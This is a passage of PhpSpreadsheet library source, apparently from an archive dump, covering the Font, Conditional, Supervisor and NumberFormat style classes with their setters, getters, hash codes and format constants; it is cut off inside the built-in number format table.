$this->setName($styleArray['name']); } if (isset($styleArray['latin'])) { $this->setLatin($styleArray['latin']); } if (isset($styleArray['eastAsian'])) { $this->setEastAsian($styleArray['eastAsian']); } if (isset($styleArray['complexScript'])) { $this->setComplexScript($styleArray['complexScript']); } if (isset($styleArray['bold'])) { $this->setBold($styleArray['bold']); } if (isset($styleArray['italic'])) { $this->setItalic($styleArray['italic']); } if (isset($styleArray['superscript'])) { $this->setSuperscript($styleArray['superscript']); } if (isset($styleArray['subscript'])) { $this->setSubscript($styleArray['subscript']); } if (isset($styleArray['underline'])) { $this->setUnderline($styleArray['underline']); } if (isset($styleArray['strikethrough'])) { $this->setStrikethrough($styleArray['strikethrough']); } if (isset($styleArray['color'])) { $this->getColor()->applyFromArray($styleArray['color']); } if (isset($styleArray['size'])) { $this->setSize($styleArray['size']); } if (isset($styleArray['chartColor'])) { $this->chartColor = $styleArray['chartColor']; } if (isset($styleArray['scheme'])) { $this->setScheme($styleArray['scheme']); } if (isset($styleArray['cap'])) { $this->setCap($styleArray['cap']); } } return $this; } /** * Get Name. */ public function getName(): ?string { if ($this->isSupervisor) { return $this->getSharedComponent()->getName(); } return $this->name; } public function getLatin(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getLatin(); } return $this->latin; } public function getEastAsian(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getEastAsian(); } return $this->eastAsian; } public function getComplexScript(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getComplexScript(); } return $this->complexScript; } /** * Set Name and turn off Scheme. */ public function setName(string $fontname): self { if ($fontname == '') { $fontname = 'Calibri'; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['name' => $fontname]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->name = $fontname; } return $this->setScheme(''); } public function setLatin(string $fontname): self { if ($fontname == '') { $fontname = 'Calibri'; } if (!$this->isSupervisor) { $this->latin = $fontname; } else { // should never be true // @codeCoverageIgnoreStart $styleArray = $this->getStyleArray(['latin' => $fontname]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); // @codeCoverageIgnoreEnd } return $this; } public function setEastAsian(string $fontname): self { if ($fontname == '') { $fontname = 'Calibri'; } if (!$this->isSupervisor) { $this->eastAsian = $fontname; } else { // should never be true // @codeCoverageIgnoreStart $styleArray = $this->getStyleArray(['eastAsian' => $fontname]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); // @codeCoverageIgnoreEnd } return $this; } public function setComplexScript(string $fontname): self { if ($fontname == '') { $fontname = 'Calibri'; } if (!$this->isSupervisor) { $this->complexScript = $fontname; } else { // should never be true // @codeCoverageIgnoreStart $styleArray = $this->getStyleArray(['complexScript' => $fontname]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); // @codeCoverageIgnoreEnd } return $this; } /** * Get Size. */ public function getSize(): ?float { if ($this->isSupervisor) { return $this->getSharedComponent()->getSize(); } return $this->size; } /** * Set Size. * * @param mixed $sizeInPoints A float representing the value of a positive measurement in points (1/72 of an inch) * * @return $this */ public function setSize(mixed $sizeInPoints, bool $nullOk = false): static { if (is_string($sizeInPoints) || is_int($sizeInPoints)) { $sizeInPoints = (float) $sizeInPoints; // $pValue = 0 if given string is not numeric } // Size must be a positive floating point number // ECMA-376-1:2016, part 1, chapter 18.4.11 sz (Font Size), p. 1536 if (!is_float($sizeInPoints) || !($sizeInPoints > 0)) { if (!$nullOk || $sizeInPoints !== null) { $sizeInPoints = 10.0; } } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['size' => $sizeInPoints]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->size = $sizeInPoints; } return $this; } /** * Get Bold. */ public function getBold(): ?bool { if ($this->isSupervisor) { return $this->getSharedComponent()->getBold(); } return $this->bold; } /** * Set Bold. * * @return $this */ public function setBold(bool $bold): static { if ($bold == '') { $bold = false; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['bold' => $bold]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->bold = $bold; } return $this; } /** * Get Italic. */ public function getItalic(): ?bool { if ($this->isSupervisor) { return $this->getSharedComponent()->getItalic(); } return $this->italic; } /** * Set Italic. * * @return $this */ public function setItalic(bool $italic): static { if ($italic == '') { $italic = false; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['italic' => $italic]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->italic = $italic; } return $this; } /** * Get Superscript. */ public function getSuperscript(): ?bool { if ($this->isSupervisor) { return $this->getSharedComponent()->getSuperscript(); } return $this->superscript; } /** * Set Superscript. * * @return $this */ public function setSuperscript(bool $superscript): static { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['superscript' => $superscript]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->superscript = $superscript; if ($this->superscript) { $this->subscript = false; } } return $this; } /** * Get Subscript. */ public function getSubscript(): ?bool { if ($this->isSupervisor) { return $this->getSharedComponent()->getSubscript(); } return $this->subscript; } /** * Set Subscript. * * @return $this */ public function setSubscript(bool $subscript): static { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['subscript' => $subscript]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->subscript = $subscript; if ($this->subscript) { $this->superscript = false; } } return $this; } public function getBaseLine(): int { if ($this->isSupervisor) { return $this->getSharedComponent()->getBaseLine(); } return $this->baseLine; } public function setBaseLine(int $baseLine): self { if (!$this->isSupervisor) { $this->baseLine = $baseLine; } else { // should never be true // @codeCoverageIgnoreStart $styleArray = $this->getStyleArray(['baseLine' => $baseLine]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); // @codeCoverageIgnoreEnd } return $this; } public function getStrikeType(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getStrikeType(); } return $this->strikeType; } public function setStrikeType(string $strikeType): self { if (!$this->isSupervisor) { $this->strikeType = $strikeType; } else { // should never be true // @codeCoverageIgnoreStart $styleArray = $this->getStyleArray(['strikeType' => $strikeType]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); // @codeCoverageIgnoreEnd } return $this; } public function getUnderlineColor(): ?ChartColor { if ($this->isSupervisor) { return $this->getSharedComponent()->getUnderlineColor(); } return $this->underlineColor; } public function setUnderlineColor(array $colorArray): self { if (!$this->isSupervisor) { $this->underlineColor = new ChartColor($colorArray); } else { // should never be true // @codeCoverageIgnoreStart $styleArray = $this->getStyleArray(['underlineColor' => $colorArray]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); // @codeCoverageIgnoreEnd } return $this; } public function getChartColor(): ?ChartColor { if ($this->isSupervisor) { return $this->getSharedComponent()->getChartColor(); } return $this->chartColor; } public function setChartColor(array $colorArray): self { if (!$this->isSupervisor) { $this->chartColor = new ChartColor($colorArray); } else { // should never be true // @codeCoverageIgnoreStart $styleArray = $this->getStyleArray(['chartColor' => $colorArray]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); // @codeCoverageIgnoreEnd } return $this; } public function setChartColorFromObject(?ChartColor $chartColor): self { $this->chartColor = $chartColor; return $this; } /** * Get Underline. */ public function getUnderline(): ?string { if ($this->isSupervisor) { return $this->getSharedComponent()->getUnderline(); } return $this->underline; } /** * Set Underline. * * @param bool|string $underlineStyle \PhpOffice\PhpSpreadsheet\Style\Font underline type * If a boolean is passed, then TRUE equates to UNDERLINE_SINGLE, * false equates to UNDERLINE_NONE * * @return $this */ public function setUnderline($underlineStyle): static { if (is_bool($underlineStyle)) { $underlineStyle = ($underlineStyle) ? self::UNDERLINE_SINGLE : self::UNDERLINE_NONE; } elseif ($underlineStyle == '') { $underlineStyle = self::UNDERLINE_NONE; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['underline' => $underlineStyle]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->underline = $underlineStyle; } return $this; } /** * Get Strikethrough. */ public function getStrikethrough(): ?bool { if ($this->isSupervisor) { return $this->getSharedComponent()->getStrikethrough(); } return $this->strikethrough; } /** * Set Strikethrough. * * @return $this */ public function setStrikethrough(bool $strikethru): static { if ($strikethru == '') { $strikethru = false; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['strikethrough' => $strikethru]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->strikethrough = $strikethru; } return $this; } /** * Get Color. */ public function getColor(): Color { return $this->color; } /** * Set Color. * * @return $this */ public function setColor(Color $color): static { // make sure parameter is a real color and not a supervisor $color = $color->getIsSupervisor() ? $color->getSharedComponent() : $color; if ($this->isSupervisor) { $styleArray = $this->getColor()->getStyleArray(['argb' => $color->getARGB()]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->color = $color; } return $this; } private function hashChartColor(?ChartColor $underlineColor): string { if ($underlineColor === null) { return ''; } return $underlineColor->getValue() . $underlineColor->getType() . (string) $underlineColor->getAlpha(); } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } return md5( $this->name . $this->size . ($this->bold ? 't' : 'f') . ($this->italic ? 't' : 'f') . ($this->superscript ? 't' : 'f') . ($this->subscript ? 't' : 'f') . $this->underline . ($this->strikethrough ? 't' : 'f') . $this->color->getHashCode() . $this->scheme . implode( '*', [ $this->latin, $this->eastAsian, $this->complexScript, $this->strikeType, $this->hashChartColor($this->chartColor), $this->hashChartColor($this->underlineColor), (string) $this->baseLine, (string) $this->cap, ] ) . __CLASS__ ); } protected function exportArray1(): array { $exportedArray = []; $this->exportArray2($exportedArray, 'baseLine', $this->getBaseLine()); $this->exportArray2($exportedArray, 'bold', $this->getBold()); $this->exportArray2($exportedArray, 'cap', $this->getCap()); $this->exportArray2($exportedArray, 'chartColor', $this->getChartColor()); $this->exportArray2($exportedArray, 'color', $this->getColor()); $this->exportArray2($exportedArray, 'complexScript', $this->getComplexScript()); $this->exportArray2($exportedArray, 'eastAsian', $this->getEastAsian()); $this->exportArray2($exportedArray, 'italic', $this->getItalic()); $this->exportArray2($exportedArray, 'latin', $this->getLatin()); $this->exportArray2($exportedArray, 'name', $this->getName()); $this->exportArray2($exportedArray, 'scheme', $this->getScheme()); $this->exportArray2($exportedArray, 'size', $this->getSize()); $this->exportArray2($exportedArray, 'strikethrough', $this->getStrikethrough()); $this->exportArray2($exportedArray, 'strikeType', $this->getStrikeType()); $this->exportArray2($exportedArray, 'subscript', $this->getSubscript()); $this->exportArray2($exportedArray, 'superscript', $this->getSuperscript()); $this->exportArray2($exportedArray, 'underline', $this->getUnderline()); $this->exportArray2($exportedArray, 'underlineColor', $this->getUnderlineColor()); return $exportedArray; } public function getScheme(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getScheme(); } return $this->scheme; } public function setScheme(string $scheme): self { if ($scheme === '' || $scheme === 'major' || $scheme === 'minor') { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['scheme' => $scheme]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->scheme = $scheme; } } return $this; } /** * Set capitalization attribute. If not one of the permitted * values (all, small, or none), set it to null. * This will be honored only for the font for chart titles. * None is distinguished from null because null will inherit * the current value, whereas 'none' will override it. */ public function setCap(string $cap): self { $this->cap = in_array($cap, self::VALID_CAPS, true) ? $cap : null; return $this; } public function getCap(): ?string { return $this->cap; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $this->color = clone $this->color; $this->chartColor = ($this->chartColor === null) ? null : clone $this->chartColor; $this->underlineColor = ($this->underlineColor === null) ? null : clone $this->underlineColor; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/Conditional.php000064400000017226151676714400021333 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style; use PhpOffice\PhpSpreadsheet\IComparable; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\ConditionalColorScale; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\ConditionalDataBar; class Conditional implements IComparable { // Condition types const CONDITION_NONE = 'none'; const CONDITION_BEGINSWITH = 'beginsWith'; const CONDITION_CELLIS = 'cellIs'; const CONDITION_COLORSCALE = 'colorScale'; const CONDITION_CONTAINSBLANKS = 'containsBlanks'; const CONDITION_CONTAINSERRORS = 'containsErrors'; const CONDITION_CONTAINSTEXT = 'containsText'; const CONDITION_DATABAR = 'dataBar'; const CONDITION_ENDSWITH = 'endsWith'; const CONDITION_EXPRESSION = 'expression'; const CONDITION_NOTCONTAINSBLANKS = 'notContainsBlanks'; const CONDITION_NOTCONTAINSERRORS = 'notContainsErrors'; const CONDITION_NOTCONTAINSTEXT = 'notContainsText'; const CONDITION_TIMEPERIOD = 'timePeriod'; const CONDITION_DUPLICATES = 'duplicateValues'; const CONDITION_UNIQUE = 'uniqueValues'; private const CONDITION_TYPES = [ self::CONDITION_BEGINSWITH, self::CONDITION_CELLIS, self::CONDITION_COLORSCALE, self::CONDITION_CONTAINSBLANKS, self::CONDITION_CONTAINSERRORS, self::CONDITION_CONTAINSTEXT, self::CONDITION_DATABAR, self::CONDITION_DUPLICATES, self::CONDITION_ENDSWITH, self::CONDITION_EXPRESSION, self::CONDITION_NONE, self::CONDITION_NOTCONTAINSBLANKS, self::CONDITION_NOTCONTAINSERRORS, self::CONDITION_NOTCONTAINSTEXT, self::CONDITION_TIMEPERIOD, self::CONDITION_UNIQUE, ]; // Operator types const OPERATOR_NONE = ''; const OPERATOR_BEGINSWITH = 'beginsWith'; const OPERATOR_ENDSWITH = 'endsWith'; const OPERATOR_EQUAL = 'equal'; const OPERATOR_GREATERTHAN = 'greaterThan'; const OPERATOR_GREATERTHANOREQUAL = 'greaterThanOrEqual'; const OPERATOR_LESSTHAN = 'lessThan'; const OPERATOR_LESSTHANOREQUAL = 'lessThanOrEqual'; const OPERATOR_NOTEQUAL = 'notEqual'; const OPERATOR_CONTAINSTEXT = 'containsText'; const OPERATOR_NOTCONTAINS = 'notContains'; const OPERATOR_BETWEEN = 'between'; const OPERATOR_NOTBETWEEN = 'notBetween'; const TIMEPERIOD_TODAY = 'today'; const TIMEPERIOD_YESTERDAY = 'yesterday'; const TIMEPERIOD_TOMORROW = 'tomorrow'; const TIMEPERIOD_LAST_7_DAYS = 'last7Days'; const TIMEPERIOD_LAST_WEEK = 'lastWeek'; const TIMEPERIOD_THIS_WEEK = 'thisWeek'; const TIMEPERIOD_NEXT_WEEK = 'nextWeek'; const TIMEPERIOD_LAST_MONTH = 'lastMonth'; const TIMEPERIOD_THIS_MONTH = 'thisMonth'; const TIMEPERIOD_NEXT_MONTH = 'nextMonth'; /** * Condition type. */ private string $conditionType = self::CONDITION_NONE; /** * Operator type. */ private string $operatorType = self::OPERATOR_NONE; /** * Text. */ private string $text = ''; /** * Stop on this condition, if it matches. */ private bool $stopIfTrue = false; /** * Condition. * * @var (bool|float|int|string)[] */ private array $condition = []; private ?ConditionalDataBar $dataBar = null; private ?ConditionalColorScale $colorScale = null; private Style $style; private bool $noFormatSet = false; /** * Create a new Conditional. */ public function __construct() { // Initialise values $this->style = new Style(false, true); } public function getNoFormatSet(): bool { return $this->noFormatSet; } public function setNoFormatSet(bool $noFormatSet): self { $this->noFormatSet = $noFormatSet; return $this; } /** * Get Condition type. */ public function getConditionType(): string { return $this->conditionType; } /** * Set Condition type. * * @param string $type Condition type, see self::CONDITION_* * * @return $this */ public function setConditionType(string $type): static { $this->conditionType = $type; return $this; } /** * Get Operator type. */ public function getOperatorType(): string { return $this->operatorType; } /** * Set Operator type. * * @param string $type Conditional operator type, see self::OPERATOR_* * * @return $this */ public function setOperatorType(string $type): static { $this->operatorType = $type; return $this; } /** * Get text. */ public function getText(): string { return $this->text; } /** * Set text. * * @return $this */ public function setText(string $text): static { $this->text = $text; return $this; } /** * Get StopIfTrue. */ public function getStopIfTrue(): bool { return $this->stopIfTrue; } /** * Set StopIfTrue. * * @return $this */ public function setStopIfTrue(bool $stopIfTrue): static { $this->stopIfTrue = $stopIfTrue; return $this; } /** * Get Conditions. * * @return (bool|float|int|string)[] */ public function getConditions(): array { return $this->condition; } /** * Set Conditions. * * @param bool|(bool|float|int|string)[]|float|int|string $conditions Condition * * @return $this */ public function setConditions($conditions): static { if (!is_array($conditions)) { $conditions = [$conditions]; } $this->condition = $conditions; return $this; } /** * Add Condition. * * @param bool|float|int|string $condition Condition * * @return $this */ public function addCondition($condition): static { $this->condition[] = $condition; return $this; } /** * Get Style. */ public function getStyle(): Style { return $this->style; } /** * Set Style. * * @return $this */ public function setStyle(Style $style): static { $this->style = $style; return $this; } public function getDataBar(): ?ConditionalDataBar { return $this->dataBar; } public function setDataBar(ConditionalDataBar $dataBar): static { $this->dataBar = $dataBar; return $this; } public function getColorScale(): ?ConditionalColorScale { return $this->colorScale; } public function setColorScale(ConditionalColorScale $colorScale): static { $this->colorScale = $colorScale; return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { return md5( $this->conditionType . $this->operatorType . implode(';', $this->condition) . $this->style->getHashCode() . __CLASS__ ); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { $this->$key = clone $value; } else { $this->$key = $value; } } } /** * Verify if param is valid condition type. */ public static function isValidConditionType(string $type): bool { return in_array($type, self::CONDITION_TYPES); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/Supervisor.php000064400000010245151676714400021243 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style; use PhpOffice\PhpSpreadsheet\IComparable; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; abstract class Supervisor implements IComparable { /** * Supervisor? */ protected bool $isSupervisor; /** * Parent. Only used for supervisor. * * @var Spreadsheet|Supervisor */ protected $parent; /** * Parent property name. */ protected ?string $parentPropertyName = null; /** * Create a new Supervisor. * * @param bool $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct(bool $isSupervisor = false) { // Supervisor? $this->isSupervisor = $isSupervisor; } /** * Bind parent. Only used for supervisor. * * @return $this */ public function bindParent(Spreadsheet|self $parent, ?string $parentPropertyName = null) { $this->parent = $parent; $this->parentPropertyName = $parentPropertyName; return $this; } /** * Is this a supervisor or a cell style component? */ public function getIsSupervisor(): bool { return $this->isSupervisor; } /** * Get the currently active sheet. Only used for supervisor. */ public function getActiveSheet(): Worksheet { return $this->parent->getActiveSheet(); } /** * Get the currently active cell coordinate in currently active sheet. * Only used for supervisor. * * @return string E.g. 'A1' */ public function getSelectedCells(): string { return $this->getActiveSheet()->getSelectedCells(); } /** * Get the currently active cell coordinate in currently active sheet. * Only used for supervisor. * * @return string E.g. 'A1' */ public function getActiveCell(): string { return $this->getActiveSheet()->getActiveCell(); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if ((is_object($value)) && ($key != 'parent')) { $this->$key = clone $value; } else { $this->$key = $value; } } } /** * Export style as array. * * Available to anything which extends this class: * Alignment, Border, Borders, Color, Fill, Font, * NumberFormat, Protection, and Style. */ final public function exportArray(): array { return $this->exportArray1(); } /** * Abstract method to be implemented in anything which * extends this class. * * This method invokes exportArray2 with the names and values * of all properties to be included in output array, * returning that array to exportArray, then to caller. */ abstract protected function exportArray1(): array; /** * Populate array from exportArray1. * This method is available to anything which extends this class. * The parameter index is the key to be added to the array. * The parameter objOrValue is either a primitive type, * which is the value added to the array, * or a Style object to be recursively added via exportArray. */ final protected function exportArray2(array &$exportedArray, string $index, mixed $objOrValue): void { if ($objOrValue instanceof self) { $exportedArray[$index] = $objOrValue->exportArray(); } else { $exportedArray[$index] = $objOrValue; } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor. */ abstract public function getSharedComponent(): mixed; /** * Build style array from subcomponents. */ abstract public function getStyleArray(array $array): array; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat.php000064400000041731151676714400021467 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style; use PhpOffice\PhpSpreadsheet\RichText\RichText; class NumberFormat extends Supervisor { // Pre-defined formats const FORMAT_GENERAL = 'General'; const FORMAT_TEXT = '@'; const FORMAT_NUMBER = '0'; const FORMAT_NUMBER_0 = '0.0'; const FORMAT_NUMBER_00 = '0.00'; const FORMAT_NUMBER_COMMA_SEPARATED1 = '#,##0.00'; const FORMAT_NUMBER_COMMA_SEPARATED2 = '#,##0.00_-'; const FORMAT_PERCENTAGE = '0%'; const FORMAT_PERCENTAGE_0 = '0.0%'; const FORMAT_PERCENTAGE_00 = '0.00%'; const FORMAT_DATE_YYYYMMDD = 'yyyy-mm-dd'; const FORMAT_DATE_DDMMYYYY = 'dd/mm/yyyy'; const FORMAT_DATE_DMYSLASH = 'd/m/yy'; const FORMAT_DATE_DMYMINUS = 'd-m-yy'; const FORMAT_DATE_DMMINUS = 'd-m'; const FORMAT_DATE_MYMINUS = 'm-yy'; const FORMAT_DATE_XLSX14 = 'mm-dd-yy'; const FORMAT_DATE_XLSX14_ACTUAL = 'm/d/yyyy'; const FORMAT_DATE_XLSX15 = 'd-mmm-yy'; const FORMAT_DATE_XLSX16 = 'd-mmm'; const FORMAT_DATE_XLSX17 = 'mmm-yy'; const FORMAT_DATE_XLSX22 = 'm/d/yy h:mm'; const FORMAT_DATE_XLSX22_ACTUAL = 'm/d/yyyy h:mm'; const FORMAT_DATE_DATETIME = 'd/m/yy h:mm'; const FORMAT_DATE_TIME1 = 'h:mm AM/PM'; const FORMAT_DATE_TIME2 = 'h:mm:ss AM/PM'; const FORMAT_DATE_TIME3 = 'h:mm'; const FORMAT_DATE_TIME4 = 'h:mm:ss'; const FORMAT_DATE_TIME5 = 'mm:ss'; const FORMAT_DATE_TIME6 = 'h:mm:ss'; const FORMAT_DATE_TIME7 = 'i:s.S'; const FORMAT_DATE_TIME8 = 'h:mm:ss;@'; const FORMAT_DATE_YYYYMMDDSLASH = 'yyyy/mm/dd;@'; const FORMAT_DATE_LONG_DATE = 'dddd, mmmm d, yyyy'; const DATE_TIME_OR_DATETIME_ARRAY = [ self::FORMAT_DATE_YYYYMMDD, self::FORMAT_DATE_DDMMYYYY, self::FORMAT_DATE_DMYSLASH, self::FORMAT_DATE_DMYMINUS, self::FORMAT_DATE_DMMINUS, self::FORMAT_DATE_MYMINUS, self::FORMAT_DATE_XLSX14, self::FORMAT_DATE_XLSX14_ACTUAL, self::FORMAT_DATE_XLSX15, self::FORMAT_DATE_XLSX16, self::FORMAT_DATE_XLSX17, self::FORMAT_DATE_XLSX22, self::FORMAT_DATE_XLSX22_ACTUAL, self::FORMAT_DATE_DATETIME, self::FORMAT_DATE_TIME1, self::FORMAT_DATE_TIME2, self::FORMAT_DATE_TIME3, self::FORMAT_DATE_TIME4, self::FORMAT_DATE_TIME5, self::FORMAT_DATE_TIME6, self::FORMAT_DATE_TIME7, self::FORMAT_DATE_TIME8, self::FORMAT_DATE_YYYYMMDDSLASH, self::FORMAT_DATE_LONG_DATE, ]; const TIME_OR_DATETIME_ARRAY = [ self::FORMAT_DATE_XLSX22, self::FORMAT_DATE_DATETIME, self::FORMAT_DATE_TIME1, self::FORMAT_DATE_TIME2, self::FORMAT_DATE_TIME3, self::FORMAT_DATE_TIME4, self::FORMAT_DATE_TIME5, self::FORMAT_DATE_TIME6, self::FORMAT_DATE_TIME7, self::FORMAT_DATE_TIME8, ]; const FORMAT_CURRENCY_USD_INTEGER = '$#,##0_-'; const FORMAT_CURRENCY_USD = '$#,##0.00_-'; const FORMAT_CURRENCY_EUR_INTEGER = '#,##0_-[$€]'; const FORMAT_CURRENCY_EUR = '#,##0.00_-[$€]'; const FORMAT_ACCOUNTING_USD = '_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)'; const FORMAT_ACCOUNTING_EUR = '_("€"* #,##0.00_);_("€"* \(#,##0.00\);_("€"* "-"??_);_(@_)'; const SHORT_DATE_INDEX = 14; const DATE_TIME_INDEX = 22; const FORMAT_SYSDATE_X = '[$-x-sysdate]'; const FORMAT_SYSDATE_F800 = '[$-F800]'; const FORMAT_SYSTIME_X = '[$-x-systime]'; const FORMAT_SYSTIME_F400 = '[$-F400]'; protected static string $shortDateFormat = self::FORMAT_DATE_XLSX14_ACTUAL; protected static string $longDateFormat = self::FORMAT_DATE_LONG_DATE; protected static string $dateTimeFormat = self::FORMAT_DATE_XLSX22_ACTUAL; protected static string $timeFormat = self::FORMAT_DATE_TIME2; /** * Excel built-in number formats. */ protected static array $builtInFormats; /** * Excel built-in number formats (flipped, for faster lookups). */ protected static array $flippedBuiltInFormats; /** * Format Code. */ protected ?string $formatCode = self::FORMAT_GENERAL; /** * Built-in format Code. * * @var false|int */ protected $builtInFormatCode = 0; /** * Create a new NumberFormat. * * @param bool $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param bool $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct(bool $isSupervisor = false, bool $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); if ($isConditional) { $this->formatCode = null; $this->builtInFormatCode = false; } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor. */ public function getSharedComponent(): self { /** @var Style $parent */ $parent = $this->parent; return $parent->getSharedComponent()->getNumberFormat(); } /** * Build style array from subcomponents. */ public function getStyleArray(array $array): array { return ['numberFormat' => $array]; } /** * Apply styles from array. * * <code> * $spreadsheet->getActiveSheet()->getStyle('B2')->getNumberFormat()->applyFromArray( * [ * 'formatCode' => NumberFormat::FORMAT_CURRENCY_EUR_SIMPLE * ] * ); * </code> * * @param array $styleArray Array containing style information * * @return $this */ public function applyFromArray(array $styleArray): static { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($styleArray)); } else { if (isset($styleArray['formatCode'])) { $this->setFormatCode($styleArray['formatCode']); } } return $this; } /** * Get Format Code. */ public function getFormatCode(bool $extended = false): ?string { if ($this->isSupervisor) { return $this->getSharedComponent()->getFormatCode($extended); } $builtin = $this->getBuiltInFormatCode(); if (is_int($builtin)) { if ($extended) { if ($builtin === self::SHORT_DATE_INDEX) { return self::$shortDateFormat; } if ($builtin === self::DATE_TIME_INDEX) { return self::$dateTimeFormat; } } return self::builtInFormatCode($builtin); } return $extended ? self::convertSystemFormats($this->formatCode) : $this->formatCode; } public static function convertSystemFormats(?string $formatCode): ?string { if (is_string($formatCode)) { if (stripos($formatCode, self::FORMAT_SYSDATE_F800) !== false || stripos($formatCode, self::FORMAT_SYSDATE_X) !== false) { return self::$longDateFormat; } if (stripos($formatCode, self::FORMAT_SYSTIME_F400) !== false || stripos($formatCode, self::FORMAT_SYSTIME_X) !== false) { return self::$timeFormat; } } return $formatCode; } /** * Set Format Code. * * @param string $formatCode see self::FORMAT_* * * @return $this */ public function setFormatCode(string $formatCode): static { if ($formatCode == '') { $formatCode = self::FORMAT_GENERAL; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['formatCode' => $formatCode]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->formatCode = $formatCode; $this->builtInFormatCode = self::builtInFormatCodeIndex($formatCode); } return $this; } /** * Get Built-In Format Code. * * @return false|int */ public function getBuiltInFormatCode() { if ($this->isSupervisor) { return $this->getSharedComponent()->getBuiltInFormatCode(); } return $this->builtInFormatCode; } /** * Set Built-In Format Code. * * @param int $formatCodeIndex Id of the built-in format code to use * * @return $this */ public function setBuiltInFormatCode(int $formatCodeIndex): static { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['formatCode' => self::builtInFormatCode($formatCodeIndex)]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->builtInFormatCode = $formatCodeIndex; $this->formatCode = self::builtInFormatCode($formatCodeIndex); } return $this; } /** * Fill built-in format codes. */ private static function fillBuiltInFormatCodes(): void { // [MS-OI29500: Microsoft Office Implementation Information for ISO/IEC-29500 Standard Compliance] // 18.8.30. numFmt (Number Format) // // The ECMA standard defines built-in format IDs // 14: "mm-dd-yy" // 22: "m/d/yy h:mm" // 37: "#,##0 ;(#,##0)" // 38: "#,##0 ;[Red](#,##0)" // 39: "#,##0.00;(#,##0.00)" // 40: "#,##0.00;[Red](#,##0.00)" // 47: "mmss.0" // KOR fmt 55: "yyyy-mm-dd" // Excel defines built-in format IDs // 14: "m/d/yyyy" // 22: "m/d/yyyy h:mm" // 37: "#,##0_);(#,##0)" // 38: "#,##0_);[Red](#,##0)" // 39: "#,##0.00_);(#,##0.00)" // 40: "#,##0.00_);[Red](#,##0.00)" // 47: "mm:ss.0" // KOR fmt 55: "yyyy/mm/dd" // Built-in format codes if (empty(self::$builtInFormats)) { self::$builtInFormats = []; // General self::$builtInFormats[0] = self::FORMAT_GENERAL; self::$builtInFormats[1] = '0'; self::$builtInFormats[2] = '0.00'; self::$builtInFormats[3] = '#,##0'; self::$builtInFormats[4] = '#,##0.00'; self::$builtInFormats[9] = '0%'; self::$builtInFormats[10] = '0.00%'; self::$builtInFormats[11] = '0.00E+00'; self::$builtInFormats[12] = '# ?/?'; self::$builtInFormats[13] = '# 